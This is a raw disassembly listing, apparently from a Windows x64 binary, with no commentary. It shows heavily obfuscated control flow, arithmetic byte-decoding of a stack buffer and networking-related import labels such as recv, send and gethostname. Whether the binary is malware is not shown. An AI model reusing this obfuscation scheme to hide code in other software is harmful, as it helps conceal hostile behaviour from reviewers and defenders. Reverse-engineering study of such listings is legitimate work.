movabs rcx, 0x194eef13c5617974
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
movabs rdx, 0x6b51ef5d32d95058
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
jmp 0x14009e994
movabs rdx, 0xbd54efa6a051273c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009def2
movabs rdx, 0xf57eff00dc8fe20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009def2
movabs rdx, 0x615af0397b40d504
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1c
jmp 0x14009eafe
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14009e6cc
movabs rdx, 0x56fe7fdb4944148e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009e4bc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e70d
movabs rcx, 0x45c0f9fa052b5f4c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e742
movabs rdx, 0xa1baf9672a3bb184
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ebac
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009e771
movabs rdx, 0xabb1f88ae1d42cd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009e991
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009e4bc
movabs rcx, 0x7abf7f806e47f10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14009def2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e7cb
movabs rdx, 0x68a176f707c10ef2
mov ecx, Ordinal_50
jmp 0x14009eaed
inc rax
cmp r8, rax
jne 0x14009e803
movabs rcx, 0x169e76ad9a49380e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x62
inc r9
dec rdi
inc rdi
jmp 0x14009def2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009e84b
movabs rdx, 0x209575d151e1b362
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e87b
movabs rcx, 0x7c8f753e76f2059a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x14009ebac
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009e463
movabs rdx, 0xd88974ab9c0257d2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e902
movabs rcx, 0x8b81f3f40a56be98
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009e931
movabs rdx, 0xf172f284e6ff8c24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009e991
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e417
movabs rdx, 0x9f6ff23b7987b540
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009def2
movabs rdx, 0x5763f115c3a859b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x9e8]
add r11b, bl
add r11b, dl
movabs rdx, 0xae6270f10cec6e3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x9e8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
movabs rdx, 0x560f0cc563082cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14009ebac
movabs rcx, 0x40c57a68295f21a2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6e
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
movabs rdx, 0x92c87ab196d6f886
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ebda
movabs rcx, 0x36ce7b4471c6a64e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
movabs rdx, 0x2cd77c20ba2e2afa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009def2
movabs rdx, 0xd0dd7cb3951dd8c2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
jmp 0x14009eafe
movabs rdx, 0x74e37d46700d868a
mov ecx, Ordinal_30
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x65713a7a644522
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x9e8], cl
inc r9
dec rdi
inc rdi
jmp 0x14009def2
movabs rcx, 0xc6e67d8fdd855d6e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
inc r9
dec rdi
inc rdi
jmp 0x14009def2
movabs rcx, 0x18e97dd94afd3452
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3e
dec rdi
inc rdi
jmp 0x14009def2
mov rbx, r10
movabs rcx, 0x60f57eff00dc8fe2
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
movabs rcx, 0x5c5f70a79f74975a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x76
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x9e8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xb35df082e8b8abe8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x58
add bl, cl
mov byte [rbp + rdi + 0x9e8], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
movabs rdx, 0x4fb7f91dbcc3daa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
movabs rcx, 0x32386ced105eadc6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
jmp 0x14009deee
movabs rdx, 0x843b6d367dd684aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ded9
lea rcx, [rbp + 0x17dd950]
jmp 0x14009ecc2
lea rcx, [rbp + 0x41edde]
jmp 0x14009ecc2
lea rcx, [rbp + 0x9e8]
mov rdx, rsi
call fcn.140035c60
test al, al
je 0x14009ed20
lea rdx, [0x140227f00]
lea rcx, [rbp + 0x2d8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x98]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
movzx ecx, byte [rax]
mov byte [0x140229d6c], cl
mov byte [rbp + 0xa10], 0xb3
mov byte [rbp + 0xa11], 0x5e
mov byte [rbp + 0xa12], WSASetLastError
mov byte [rbp + 0xa13], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa14], 0x61
mov byte [rbp + 0xa15], 0x63
mov byte [rbp + 0xa16], 0x65
mov byte [rbp + 0xa17], WSASetLastError
mov byte [rbp + 0xa18], 0xfe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa19], xmm0
mov qword [rbp + 0xa29], rax
mov word [rbp + 0xa31], ax
movabs rdi, 0x1322675c5e7866eb
movabs rsi, 0xe02cdce97d7e7875
movabs r15, 0xf4b87ed3a2f98aff
movabs r14, 0xf6bbdf42378b6277
movabs r12, 0xd4ae19af1984c79
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009fbf0
movzx r11d, byte [rbp + rbx + 0xa10]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009fbe4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009ee23
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 7
jmp 0x14009ee50
je 0x14009fb5b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009fb24
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009fad9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009faac
cmp r9, rbx
ja 0x14009fbd8
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14009ee81
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
jmp 0x14009eec1
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009fa54
inc rax
cmp r8, rax
je 0x14009fa2a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009f9f5
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009f98c
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009f956
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009f557
nop
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009f531
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009f4ff
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009f4d0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009f4a7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009f47e
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009f445
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009f41f
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009f3f9
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009f3bf
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009eed0
lea r8, [r9 + 1]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009fbb3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009fb8f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009f0cc
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009f0ad
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009f08e
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009f359
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009f2fa
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009f2ae
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009f27e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009eed0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x40]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009f244
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009f21b
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009f1f5
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009f1bc
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009f193
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009f16a
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009f13b
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009f10e
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009f0ea
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009eed0
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
jmp 0x14009eed0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
jmp 0x14009eec1
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x41
add r10b, dl
jmp 0x14009ee50
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x4f
add r10b, dl
jmp 0x14009ede5
movabs rcx, 0x99133ae2f3c33758
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14009fa77
movabs rcx, 0xafa23d3badd0215a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
inc r9
dec rbx
inc rbx
jmp 0x14009edd2
movabs rdx, 0xc6313f9467dd0b5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009edd2
movabs rdx, 0xdcc041ed21e9f55e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009faf8
movabs rdx, 0xf34f4445dbf6df60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009fb43
movabs rdx, 0x9de469e9603c962
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009edd2
movabs rdx, 0x206d48f75010b364
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009f91e
movabs rdx, 0x36fc4b500a1d9d66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009f9af
movabs rdx, 0x4d8b4da8c42a8768
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
movabs rcx, 0x85f0d386954ad06d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 5
mov byte [rbp + rbx + 0xa10], r10b
inc rbx
jmp 0x14009edd2
movabs rcx, 0x9c7fd5df4f57ba6f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
cmp r9, 0x5a
jb 0x14009f29e
movabs rcx, 0x81828852ef6d619a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x6c]
jmp 0x14009fa77
movabs rcx, 0xb30ed8380964a471
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
cmp r8, 5
jae 0x14009f8c6
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14009f7b0
movabs rdx, 0x63189fca33ee85ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009f2cd
movabs rdx, 0xc99dda90c3718e73
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x25
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x14009f8f6
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14009f69f
movabs rdx, 0x4ff6386dd5761ec3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
add r10b, dl
jmp 0x14009f319
movabs rdx, 0x72ce6c2a36d26982
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
movabs rdx, 0x895d6e82f0df5384
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009f9ac
movabs rdx, 0x9fec70dbaaec3d86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009f91e
movabs rdx, 0xb67b733464f92788
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009edd2
movabs rdx, 0xcd0a758d1f06118a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009fb43
movabs rdx, 0xe39977e5d912fb8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009faf8
movabs rdx, 0xfa287a3e931fe58e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009edd2
movabs rdx, 0x10b77c974d2ccf90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009edd2
movabs rdx, 0x27467ef00739b992
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009fa74
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14009f580
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
jmp 0x14009f379
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009f5c7
movabs rdx, 0x2644ceb8bcf0cdd6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
inc rax
cmp r8, rax
jne 0x14009f5fc
movabs rdx, 0xf926ca0748d6f9d2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009f921
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009f632
movabs rdx, 0xb579c2fd1ab03bcc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009faf8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009f66e
movabs rdx, 0x9eeac0a460a351ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009edd2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009f37c
movabs rcx, 0x71ccbbf2ec897dc6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x14009fa77
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009f6d1
movabs rdx, 0x396736151b6934c1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x47
jmp 0x14009fa74
inc rax
cmp r8, rax
jne 0x14009f70b
movabs rcx, 0x22d833bc615c4abf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x39
inc r9
dec rbx
inc rbx
jmp 0x14009edd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009f73c
movabs rcx, 0xdf2b2cb233358cb9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
jmp 0x14009fb43
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009f76e
movabs rdx, 0xb20d2800bf1bb8b5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xd
jmp 0x14009f91e
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009f319
movabs rcx, 0x84ef234f4b01e4b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009f7f7
movabs rdx, 0x4c899d7179e19bac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009f828
movabs rcx, 0xf24d940e91adf3a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14009fb43
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009f85d
movabs rdx, 0xdbbe91b5d7a109a2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
jmp 0x14009faf8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009f894
movabs rcx, 0xc52f8f5d1d941fa0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009edd2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009f2cd
movabs rdx, 0x98118aaba97a4b9c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x44
jmp 0x14009fa74
movabs rdx, 0x6af385fa35607798
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xa10]
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x14009faf8
movabs rdx, 0x546483a17b538d96
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xa10]
sub r10b, 0x1a
add r10b, dl
movabs rcx, 0x491d02751e4d1895
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x13
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xa10], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14009f9af
movabs rcx, 0x481b523dd4042cd9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x11
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
movabs rdx, 0x5eaa54968e1116db
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 3
add r10b, dl
movabs rcx, 0x3dd58148c146a394
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0xc
add cl, r11b
mov byte [rbp + rbx + 0xa10], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
movabs rcx, 0x8bc85948022aeadf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x19
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009edd2
movabs rcx, 0xcf7560523051a8e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
dec rbx
inc rbx
jmp 0x14009edd2
movabs rdx, 0xfc936503a46b7ce9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5f
add r10b, dl
movabs rcx, 0x763b07269266ec99
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, cl
mov byte [rbp + rbx + 0xa10], r11b
inc r9
dec rbx
inc rbx
jmp 0x14009edd2
movabs rcx, 0x40406c0dd2923aef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
inc r9
dec rbx
inc rbx
jmp 0x14009edd2
movabs rcx, 0x6d5e70bf46ac0ef3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
movabs rcx, 0x5fac04cdd85a0297
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x21
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xa10], cl
jmp 0x14009fb43
movabs rcx, 0x83ed731800b8f8f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009edd2
movabs rcx, 0xde297c7ae8eca0fd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
